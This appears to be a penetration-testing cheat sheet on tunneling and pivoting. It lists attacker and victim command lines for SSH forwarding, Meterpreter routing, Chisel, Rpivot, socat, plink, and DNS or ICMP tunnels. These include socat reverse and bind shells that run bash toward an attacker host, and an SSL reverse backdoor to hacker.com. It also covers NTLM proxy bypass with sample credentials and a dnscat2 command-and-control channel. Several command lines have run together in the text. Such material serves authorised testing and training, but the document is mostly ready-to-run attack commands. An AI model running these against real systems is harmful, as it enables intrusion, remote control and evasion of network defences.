Tunneling and Port Forwarding

SSH

SSH graphical connection (X)

Local Port2Port

Open new Port in SSH Server --> Other port

Port2Port

Local port --> Compromised host (SSH) --> Third_box:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Local Port --> Compromised host(SSH) --> Wherever

ssh -f -N -D <attacker_port> <username>@<ip_compromised> 

VPN-Tunnel

You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login: PermitRootLogin yes PermitTunnel yes

ssh [email protected] -w any:any ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 

Enable forwarding in Server side

echo 1 > /proc/sys/net/ipv4/ip_forwardiptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Set new route on client side

route add -net 10.0.0.0/16 gw 1.1.1.1

SSHUTTLE

You can tunnel via ssh all the traffic to a subnetwork through a host. Example, forwarding all the traffic going to 10.10.10.0/24

Meterpreter

Port2Port

Local port --> Compromised host (active session) --> Third_box:Port

portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

Port2hostnet (proxychains)

backgroundroute add <IP_victim> <Netmask> <Session> use auxiliary/server/socks_proxyrun echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf 

Another way:

background use post/multi/manage/autorouteset SESSION <session_n>set SUBNET <New_net_ip> set NETMASK <Netmask>runuse auxiliary/server/socks_proxyset VERSION 4arun echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf 

reGeorg

​https://github.com/sensepost/reGeorg​

You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

You can download it from the releases page of https://github.com/jpillora/chisel You need to use the same version for client and server

socks

./chisel server -p 8080 --reverse ./chisel-x64.exe client 10.10.14.3:8080 R:socks 

Port forwarding

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505

Rpivot

​https://github.com/klsecservices/rpivot​

Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivot through NTLM proxy

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password [email protected]

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

​https://github.com/andrew-d/static-binaries​

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,saneattacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &

Port2Port through socks

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter through SSL Socat

attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5

You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

​https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/​

SSL Socat Tunnel

/bin/sh console

Create certificates in both sides: Client and Server

FILENAME=socatsslopenssl genrsa -out $FILENAME.key 1024openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crtcat $FILENAME.key $FILENAME.crt >$FILENAME.pemchmod 600 $FILENAME.key $FILENAME.pem

attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/shvictim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Connect the local SSH port (22) to the 443 port of the attacker host

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done attacker> ssh localhost -p 2222 -l www-data -i vulnerable 

Plink.exe

It's like a console PuTTY version ( the options are very similar to a ssh client).

As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 

NTLM proxy bypass

The previously mentioned tool: Rpivot OpenVPN can also bypass it, setting these options in the configuration file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

​http://cntlm.sourceforge.net/​

It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. Example that forward port 443

Username Alice Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443

Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.

YARP

A reverse proxy create by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy​

DNS Tunneling

Iodine

​https://code.kryo.se/iodine/​

Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.

attacker> iodined -f -c -P [email protected] 1.1.1.1 tunneldomain.com#You can see the victim at 1.1.1.2

The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:

ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Establishes a C&C channel through DNS. It doesn't need root privileges.

attacker> ruby ./dnscat2.rb tunneldomain.comvictim> ./dnscat2 tunneldomain.com

Port forwarding with dnscat

session -i <sessions_id>listen [lhost:]lport rhost:rport 

Change proxychains DNS

Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.

Tunnels in Go

​https://github.com/hotnops/gtunnel​

ICMP Tunneling

Hans

​https://github.com/friedrich/hans https://github.com/albertzak/hanstunnel​

Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.